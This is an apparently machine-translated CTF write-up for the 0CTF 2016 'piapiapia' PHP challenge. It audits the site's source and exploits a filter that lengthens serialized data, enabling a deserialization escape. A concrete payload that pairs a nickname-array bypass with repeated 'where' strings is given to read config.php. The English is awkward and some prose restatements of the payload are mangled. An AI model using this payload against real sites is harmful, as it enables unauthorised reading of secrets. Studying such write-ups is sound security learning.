# [0CTF 2016] piapiapia problem-solving ideas and detailed reproduction

[0CTF 2016] piapiapia problem-solving ideas and detailed reproduction

  • Topic Link
    https://buuoj.cn/challenges#[0CTF%202016]piapiapia

    1. knowledge

  • Information disclosure
  • Bypassing the parameters passed string array detector
  • Deserialization escape character

    2. Start reproducibility

    2.1 Discussion topics

  • Open play title connection we can see is a login page

I do not know why I wanted to see the login page SQL injection wave, I was too young. This question is not given prompt, SQL injection is not possible, try to give up after wave, CTF directly to the login box on the injection or small.

  • Registered account
    seems we still have to honestly have to register an account to log on to see what function points, and familiar with the site structure. But it did not give the Register button in the login page, it seems that we have to own guess is usually: /register.php.
  • Browsing
    After a successful login we see is a page to upload personal information, upload pictures can be seen, the first time think of file upload vulnerability. I was too young, not too Rao after a wave of operations. Upload a normal message, jump to find out our information profile.php show
  • Directory scan surface
    features are tried, no use of local (I was too dishes). We can sweep through the catalog and see what hidden files Yeah, what information disclosure, after all, a lot of questions CTF is + code audit information disclosure thing. Sword out after scanning, browsing the web find fast access to return 429 status code. Read online bigwigs Writeup found dirsearch be scanned www.zip, I tried to remember to add dirsearch delay parameters.
    Get the source code of our sites collect information on almost finished, we can now find a breakthrough point in the source code

    2.2 code audit

  • Familiar with the site structure
    we get the source code in the file is not a lot, class.php there are a number of important functions, update.php and profile.php we are more familiar with, upload a file, a file acquisition. Most importantly, config.php, we see the flag on the inside
  • According to the front end of the process look suspicious function
    to register and sign that piece would not have read it, it is a major breakthrough in the place where the upload data and display data.


    --- First update.php

<?php
    require_once('class.php');
    if($_SESSION['username'] == null) {
        die('Login First'); 
    }
    if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

        $username = $_SESSION['username'];
        if(!preg_match('/^\d{11}$/', $_POST['phone']))
            die('Invalid phone');

        if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
            die('Invalid email');
        
        if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
            die('Invalid nickname');

        $file = $_FILES['photo'];
        if($file['size'] < 5 or $file['size'] > 1000000)
            die('Photo size error');

        move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
        $profile['phone'] = $_POST['phone'];
        $profile['email'] = $_POST['email'];
        $profile['nickname'] = $_POST['nickname'];
        $profile['photo'] = 'upload/' . md5($file['name']);

        $user->update_profile($username, serialize($profile));
        echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
    }
    else {
?>

  It can be seen here, with a bunch of regular expressions to filter the data we have submitted, and the third two regular expressions and different front, there is determined whether the nickname character length whether there are more than 10. Second, if we pass the nickname is an array with knowledge at the beginning of the article, limiting the length of the bypass, you can bypass this regular expression, we will not die out.
  Call update_profile at the code behind we might think of this is to save data to the database, but also with the php serialize serialize (), we can boldly try to deserialize loophole to carry out his look.
  Let us look at update_profile () in the end is Gesha, using global search we saw in class.php update_profile defined in () method

    public function update_profile($username, $new_profile) {
        $username = parent::filter($username);
        $new_profile = parent::filter($new_profile);

        $where = "username = '$username'";
        return parent::update($this->table, 'profile', $new_profile, $where);
    }

  We continue to pursue go on
filter ()

    public function filter($string) {
        $escape = array('\'', '\\\\');
        $escape = '/' . implode('|', $escape) . '/';
        $string = preg_replace($escape, '_', $string);

        $safe = array('select', 'insert', 'update', 'delete', 'where');
        $safe = '/' . implode('|', $safe) . '/i';
        return preg_replace($safe, 'hacker', $string);
    }

update()

    public function update($table, $key, $value, $where) {
        $sql = "UPDATE $table SET $key = '$value' WHERE $where";
        return mysql_query($sql);
    }

  update.php we basically figure it out, it is to go through the regular expression filter parameter values submitted by the user, and then serialized, and then replace the value of the illegal 'Hacker'


--- then we will see profile.php

<?php
    require_once('class.php');
    if($_SESSION['username'] == null) {
        die('Login First'); 
    }
    $username = $_SESSION['username'];
    $profile=$user->show_profile($username);
    if($profile  == null) {
        header('Location: update.php');
    }
    else {
        $profile = unserialize($profile);
        $phone = $profile['phone'];
        $email = $profile['email'];
        $nickname = $profile['nickname'];
        $photo = base64_encode(file_get_contents($profile['photo']));
?>

  We can see that there are deserialized also file read, we should have a general idea of ​​the problem asks. flag in config.php, but also serialized, filter replacement, de-serialization, file read, is not that the CTF Anti character escape sequences common routines do. We config.php configuration data comprising the use of escape character string is read out in the profile.php

2.3 deserialization character escape supplementary knowledge

  • PHP escape character deserialization
    small example
    serialized
<?php
$a = array('123', 'abc', 'defg');
var_dump(serialize($a));
?>

result

string(49) "a:3:{i:0;s:3:"123";i:1;s:3:"abc";i:2;s:4:"defg";}" 

Deserialization

<?php
//$a = array('123', 'abc', 'defg');
//var_dump(serialize($a));
//"a:3:{i:0;s:3:"123";i:1;s:3:"abc";i:2;s:4:"defg";}"
$b = 'a:3:{i:0;s:3:"123";i:1;s:3:"abc";i:2;s:4:"defg";}';
var_dump(unserialize($b));
?>

operation result

array(3) { [0]=> string(3) "123" [1]=> string(3) "abc" [2]=> string(4) "defg" } 

  We can see in the back end, deserialization is a ";} end, if we";} string into the need to de-serialization in (except at the end), is not able to make deserialization early termination discarded behind the content of it?
  We replaced the second value abc abc "; i: 2; s : 5:" qwert ";}

<?php
//$a = array('123', 'abc', 'defg');
//var_dump(serialize($a));
//"a:3:{i:0;s:3:"123";i:1;s:3:"abc";i:2;s:4:"defg";}"
$b = 'a:3:{i:0;s:3:"123";i:1;s:3:"abc";i:2;s:5:"qwert";}";i:2;s:4:"defg";}';
var_dump(unserialize($b));
?>

operation result

array(3) { [0]=> string(3) "123" [1]=> string(3) "abc" [2]=> string(5) "qwert" } 

Successful deserialize the contents of our own definition, discard the original content (i: 2; s: 4 : "defg")
deserializing escape on the first character introduced here, we go back and look at the problem

  • Breakthrough
    we find a problem, we deserialization escape character, first serialized character is controllable, as well as the length of the front is controllable. But update.php parameter serialization, we controlled variable length has been written is dead, how can to control it. This question is actually a breakthrough after a sequence of data filter replacement there, seemingly more secure, in fact, more dangerous.
//过滤函数
    public function filter($string) {
        $escape = array('\'', '\\\\');
        $escape = '/' . implode('|', $escape) . '/';
        $string = preg_replace($escape, '_', $string);

        $safe = array('select', 'insert', 'update', 'delete', 'where');
        $safe = '/' . implode('|', $safe) . '/i';
        return preg_replace($safe, 'hacker', $string);
    }

  This is the 'select', 'insert', 'update', 'delete', 'where' replaced 'hacker', where we write hacker replaced after the actual length of the string to +1, and therefore greater than the actual length sequence of fixed length (before the variable 's' in the value). String escape deserialization using only the length of the back of the string s preceding string nickname deserialized successfully deserialize, this is when the parameter passing is fixed better. The rest of the string we constructed class.php because it contains a flag, and let him in position on the photo, the photo then to throw away, so read the photo is in profile.php config.php we build up , the flag is read to
  simply replace the function is to use the rear end, resulting in an increase actual length, part of the increase (the config.php) pushed out to the position of the photo, is then closed.
  As another example to facilitate comprehension

<?php
//$a = array('123', 'abc', 'defg');
//var_dump(serialize($a));
//"a:3:{i:0;s:3:"123";i:1;s:3:"abc";i:2;s:4:"defg";}"
$a = 'a:3:{i:0;s:3:"123";i:1;s:3:"abc";i:2;s:4:"defg";}';
$b = 'a:3:{i:0;s:3:"123";i:1;s:3:"abc";i:2;s:5:"qwert";}";i:2;s:4:"defg";}';
var_dump(unserialize($b));
var_dump(unserialize($b));
?>

preceding abc s: 3: unchanged because of the time sequence is fixed
we abc configured to: abc "; i: 2; s: 5:" qwert ";} We then constructed a last closed, resulting in defg discarded, taking up defg QWERT original position
  or return to the questions, our aim is to ";} s: 5:" photo "; s: 10:" config.php ";} insertion sequence of characters string inside, the length of 34, so we have to extrusion 34, otherwise it becomes the value of the nickname. where will be replaced hacker, length plus 1, so we need 34 where configured. Then go profile.php view the contents read.

3.4 detailed steps

  • register account
  • login account
  • Feel free to submit some information capture
  • To modify the nickname nickname [], length detection array bypassed
  • Modify the contents of nickname
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

  • Employer
  • Profile.php view to read the file, base64 encoded





Successfully obtained falg

supplement

  Before I passed is "; s: 5:" photo "; s: 10:" config.php ";} and failed, read some articles online, find that they are passed";} s: 5 : "photo"; s: 10: "config.php";}} Why add one more to the front, later found to be because we became a nickname structure array, instead of a character, so to add} close it.

Guess you like

Origin www.cnblogs.com/g0udan/p/12216207.html